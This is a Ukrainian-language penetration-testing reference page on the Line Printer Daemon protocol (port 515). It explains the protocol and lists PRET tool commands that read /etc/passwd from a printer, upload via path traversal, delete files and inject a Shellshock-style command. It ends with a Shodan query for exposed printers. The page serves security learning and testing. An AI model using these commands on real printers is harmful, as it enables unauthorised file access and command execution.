{{#include ../banners/hacktricks-training.md}} ### **Вступ до протоколу LPD** У 1980-х роках був розроблений **протокол Line Printer Daemon (LPD)** в Berkeley Unix, який пізніше був формалізований через RFC1179. Цей протокол працює через порт 515/tcp, дозволяючи взаємодії через команду `lpr`. Суть друку через LPD полягає в надсиланні **контрольного файлу** (для вказівки деталей завдання та користувача) разом з **даними файлу** (який містить інформацію для друку). Хоча контрольний файл дозволяє вибір **різних форматів файлів** для даних файлу, обробка цих файлів визначається конкретною реалізацією LPD. Широко визнаною реалізацією для Unix-подібних систем є **LPRng**. Варто зазначити, що протокол LPD може бути використаний для виконання **зловмисних PostScript** або **PJL завдань друку**. ### **Інструменти для взаємодії з принтерами LPD** [**PRET**](https://github.com/RUB-NDS/PRET) представляє два основні інструменти, `lpdprint` та `lpdtest`, які пропонують простий спосіб взаємодії з принтерами, сумісними з LPD. Ці інструменти дозволяють виконувати ряд дій, від друку даних до маніпуляцій з файлами на принтері, таких як завантаження, вивантаження або видалення: ```python # To print a file to an LPD printer lpdprint.py hostname filename # To get a file from the printer lpdtest.py hostname get /etc/passwd # To upload a file to the printer lpdtest.py hostname put ../../etc/passwd # To remove a file from the printer lpdtest.py hostname rm /some/file/on/printer # To execute a command injection on the printer lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4' # To send a mail through the printer lpdtest.py hostname mail lpdtest@mailhost.local ``` Для тих, хто зацікавлений у подальшому вивченні сфери **хакінгу принтерів**, всебічний ресурс можна знайти тут: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page). # Shodan - `port 515` {{#include ../banners/hacktricks-training.md}}